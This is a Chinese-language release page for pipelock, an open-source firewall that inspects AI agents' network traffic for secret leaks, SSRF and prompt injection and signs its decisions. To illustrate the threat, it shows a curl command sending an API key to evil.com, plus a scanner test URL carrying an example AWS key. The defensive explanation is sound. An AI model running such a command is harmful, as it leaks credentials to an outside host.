返回更新列表
新发布Jul 25, 2026

pipelock v3.2.0

开源AI代理防火墙,扫描HTTP、MCP、A2A和WebSocket流量以检测数据泄露、SSRF和提示注入,并发出可验证的签名操作收据用于审计。

分享

Pipelock

面向可验证出口控制的开源 AI 代理防火墙。

CI Security Gauntlet exam Go 1.26+ Release

OpenSSF Scorecard OpenSSF Best Practices codecov pipelock self-scanned

Core Apache 2.0 Enterprise ELv2 CNCF Landscape: Security & Compliance Discord

Pipelock blocking a live secret-exfiltration attempt from an AI agent

Pipelock 位于 AI 代理与网络之间。它检查经中介的 HTTP、WebSocket、MCP 和 A2A 流量,并在启用 TLS 拦截时检查 CONNECT 隧道内容,以发现秘密外泄、提示注入、SSRF、工具投毒以及有风险的工具调用链。未启用拦截的普通 CONNECT 会在主机名和 URL 层面进行扫描。已配置的 MCP 上游是私有地址 SSRF 拦截的例外:允许本地/私有服务器,但云元数据端点仍会被阻止。

Pipelock 会针对内容感知的边界决策发出由中介签名的操作回执,因此审查者可以在代理运行时之外验证 Pipelock 做出了什么决定。公开的 agent-egress-bench 语料库会检验这些检测能力。Gauntlet 工作流是该产品针对固定语料库提交的定期候选考试;它不会自动发布公开评分。了解更多:开源 AI 防火墙。

适用于: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

问题 · 验证 · 快速开始 · 实际效果 · 拦截内容 · 功能 · 架构 · 文档 · 演练场 · 博客 · 询问 Dosu

在在线演练场中于浏览器内试用。如果 Pipelock 值得,请为仓库加星,让更多人发现它。


问题

你的 AI 代理环境中带有 $PROVIDER_API_KEY,并且拥有 shell 访问权限。一个请求就可能泄露它:```bash curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching

你的 agent 执行的每一个机器操作都应跨越你的机密与开放互联网之间的边界。当 agent 通过其代理、MCP 包装器、沙箱、主机隔离模型或集群部署拓扑进行路由时,Pipelock 便成为该边界。它扫描被中介的出站和入站流量,根据模式阻止或标记攻击,并记录决策的签名证据。

---

## 亲自验证

大多数 agent 安全工具要求你信任它们的仪表盘。Pipelock 交给你一份签名收据,让你自己离线验证,使用你持有的密钥。无需账户,无需服务器。

内置演示会触发真实攻击场景,阻止它们,并将签名收据及公钥写入磁盘,无需配置,无需网络:```bash
pipelock demo --receipts-dir ./out                                   # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub  # check a signature yourself (each receipt is <action-id>.json)
Pipelock 证据报告:评分卡(Authentic、Untampered、Anchored、Completeness,每项均标注其诚实的局限)位于已签名收据时间线上方,该时间线记录了经中介的决策、裁决和哈希链接

评分卡对每项声明单独评级,并说明其无法证明的内容:Pipelock 所中介的边界之外是否发生了任何事情。在其下方,收据时间线列出了已记录的经中介决策及其裁决和哈希链接。一份对自身局限诚实的收据,胜过一枚掩盖这些局限的绿色对勾。

证据查看器免费且无需许可证。它读取的是飞行记录器会话,即 Pipelock 运行时写入的内容,而非上方的演示收据:```bash pipelock init --output ./pipelock.yaml # names a recorder directory and generates its signing key pipelock run --config ./pipelock.yaml # record while your agent works pipelock evidence view --receipt-dir ./recorder --out report.html # static offline report, no server pipelock evidence serve --receipt-dir ./recorder # same report, served read-only

两点诚实说明,先说在前。该演示使用它为本次运行打印的临时密钥进行签名,这证明的是收据自身一致,而非绑定到某个具名身份。公共 Pipelock playground 是另一条路径,它针对 Pipelock 发布的密钥进行验证。而运行 Pipelock 的操作者持有签名密钥,因此收据证明的是边界做出了什么决定以及密钥持有者签署了它,而非操作者是诚实的。`pipelock anchor receipts` 将收据链检查点记录到本地后端或 Rekor 透明度日志以供后续审计,而针对该锚点的操作者无关验证仍在端到端验证中。

关于为何证明胜过承诺的完整论证见 [demonstration over attestation](https://github.com/luckypipewrench/pipelock/blob/main/docs/security/demonstration-over-attestation.md)。

---

## Quick Start```bash
# Build the current release from source (Community edition, Go 1.26+)
git clone --branch v3.5.0 --depth 1 https://github.com/luckyPipewrench/pipelock.git
make -C pipelock install

# Set up local agent integrations and generate a config
pipelock init

# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE"  # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/"                # allowed
其他安装方法```bash # Download a binary # See https://github.com/luckyPipewrench/pipelock/releases

Docker

docker pull ghcr.io/luckypipewrench/pipelock:3.5.0

分类